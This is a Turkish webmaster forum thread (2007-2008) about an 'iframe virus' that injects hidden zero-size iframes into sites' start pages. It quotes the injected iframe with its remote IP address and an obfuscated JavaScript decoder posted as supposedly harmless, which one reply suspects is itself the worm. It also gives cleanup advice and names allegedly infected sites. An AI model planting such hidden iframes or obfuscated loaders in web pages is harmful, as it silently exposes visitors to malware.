iframe kodlu virüs

VoLKyY · 9 Ağustos 2007

Sevgili Arkadaslar sanırım bu virus hakkında ayrıntılı bilginiz yok ben açıklayayım burada ve diğer arkadaslarda onlemlerini alsınlar biz turkiyede buyuk bir host firmasıyız bu virusle daha once karsılasmıstık. İlk önce virus kendını index.asp default.asp main.asp index.html vs turu ilk okuyucu türlere gizli bir i f r a m e olarak atmaktadır. örnek : <i f r a m e src='http://81.95.149.27/go.php?sid=1' style='border:0px solid gray;' WIDTH=0 HEIGHT=0 FRAMEBORDER=0 MARGINWIDTH=0 MARGINHEIGHT=0 SCROLLING=no></i f r a m e> şu anda gunceli bu bunun bulastıgı yer ise arkadasların dedigi gibi cmod vs zannedilsin diye kurnazca yapılmış host yetkililerini uyarınız bu virus web wiz forumun kendi forumlarınının linkleri kaldırıldıgında savunma amacı ile uretilmiş illegal bir virusdur. kurulan web wiz forum altında bulun bis .js dosyası aracılıgı ile tüm hosttaki yada bulundugu hosttaki ilk okucu türlere bulaşmaktadır Sevgili arkadaşımız. bunu kaldırmanın yolu diger hhosttaki dosyalarınızı tekrar atmanıza gerek yok hosttaki baslangıc tür dosyanız ne ise örnek default.asp sadece ona bulasmıstır onu indirerek içindeki i f r a m e li bölümü siliniz. sonra kaydedip tekrar gonderiniz bir iki gun surekli takip ediniz. i f r a m e aynı yere kendını tekrar kaydederse anlayınki host makinasında hala virus barınıyor. Herkeze Kolay Gelsin Teşekkürler.

bu sorunu yaşıyorum. bu kod tüm index.html ve index.php dosyalarına bulaşmış bir şekilde araştırdıgımda bir arkadaşın yazmış olduğu sonuç olarak bunu gördüm. bu konuda bilgisi olan arkadaşlarımız varsa yazabilirlermi?

Loi · 9 Ağustos 2007

VoLKyY' Alıntı:
bu sorunu yaşıyorum. bu kod tüm index.html ve index.php dosyalarına bulaşmış bir şekilde araştırdıgımda bir arkadaşın yazmış olduğu sonuç olarak bunu gördüm. bu konuda bilgisi olan arkadaşlarımız varsa yazabilirlermi?

Kaspersky bunlari dosyalara zarar vermeden temizliyor.

SAW · 27 Ağustos 2007

non - virus

this is the code :

Kod:

<script language=JavaScript>
function decipher(x){
var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,28,43,42,33,56,59,58,22,37,0,0,0,0,0,0,51,34,35,38,24  ,20,54,36,25,13,50,12,19,53,18,39,49,41,17,21,9,23,60,11,5,30,29,0,0,0,0,16,0,55,10,2,62,61,31,0,8,4  4,47,46,57,3,14,32,1,45,4,26,52,48,27,40,7,15,6);
for(j=Math.ceil(l/b);j>0;j--){
r='';
for(i=Math.min(l,b);i>0;i--,l--){
w|=(t[x.charCodeAt(p++)-48])<<s;
if(s){r+=String.fromCharCode(165^w&255);
w>>=8;s-=2
}else{s=6}
}
document.write("<xmp>"+r)
}
}
decipher("XCH@RB1JvClPbxKavzIu8xZ4SLiugOQAx21u1jHCbF1thOVC")

</script>

and decode this code in end :

Kod:

 decipher("XCH@RB1JvClPbxKavzIu8xZ4SLiugOQAx21u1jHCbF1thOVC")

give this :

Kod:

< html><body>test page</body></html>

no virus but frame only ,,,

thanks to listen

Sultan Abdallah

Loi · 3 Eylül 2007

SAW' Alıntı:

this is the code :

Kod:

<script language=JavaScript>
function decipher(x){
var l=x.length,b=1024,i,j,r,p=0,s=0,w=0,t=Array(63,28,43,42,33,56,59,58,22,37,0,0,0,0,0,0,51,34,35,38,24  ,20,54,36,25,13,50,12,19,53,18,39,49,41,17,21,9,23,60,11,5,30,29,0,0,0,0,16,0,55,10,2,62,61,31,0,8,4  4,47,46,57,3,14,32,1,45,4,26,52,48,27,40,7,15,6);
for(j=Math.ceil(l/b);j>0;j--){
r='';
for(i=Math.min(l,b);i>0;i--,l--){
w|=(t[x.charCodeAt(p++)-48])<<s;
if(s){r+=String.fromCharCode(165^w&255);
w>>=8;s-=2
}else{s=6}
}
document.write("<xmp>"+r)
}
}
decipher("XCH@RB1JvClPbxKavzIu8xZ4SLiugOQAx21u1jHCbF1thOVC")

</script>

and decode this code in end :

Kod:

 decipher("XCH@RB1JvClPbxKavzIu8xZ4SLiugOQAx21u1jHCbF1thOVC")

give this :

Kod:

< html><body>test page</body></html>

no virus but frame only ,,,

thanks to listen

Sultan Abdallah

Adamlar web uzerinde yayilan bu wormu, forumlarda worm veya virus oldugunu inkar eden postlarda gonderebilecek sekilde hazirlamislar. Helal olsun!

UlkeKurucusu · 30 Mayıs 2008

http://www.goldkozmetik.com
işte bir virüslü site daha kişileri uyardım ve bu konuya bakmalarını mail olarak link attım inş. fazla kişiye bulaşmadan silerler koruması olmayan müşterilerinin hepsinede virüs bulaşmıştır

UlkeKurucusu · 31 Mayıs 2008

nLr Nickli Üyemizin Sitesindede bu virüs bulaşmış arkadaşlar geçenlerde yoktu bugün girdiğimde yakaladı kaypersky, ne olacak bu türkiyedeki sitelere nasıl bulaştırıyolar anlamadım, geçenlerde e-ticaret siteme bir alman bayan nickli biri üye olmuştu sanırım bu virüsü bulaştırmak için üye oluyorlar neden derseniz mail uzantısı almanya uzantısı değildi çünkü @mail.ru du bende sildim üyeyi sanırım ruslar yapıyor bu işi

virüslü site: http://www.E-Kolay.Gen.TR

iframe kodlu virüs

VoLKyY

0

Loi

0

SAW

Loi

0

UlkeKurucusu

0

UlkeKurucusu

0

Backlink ve Tanıtım Yazısı için iletişime geçmek için Skype Adresimiz: .cid.1580508955483fe5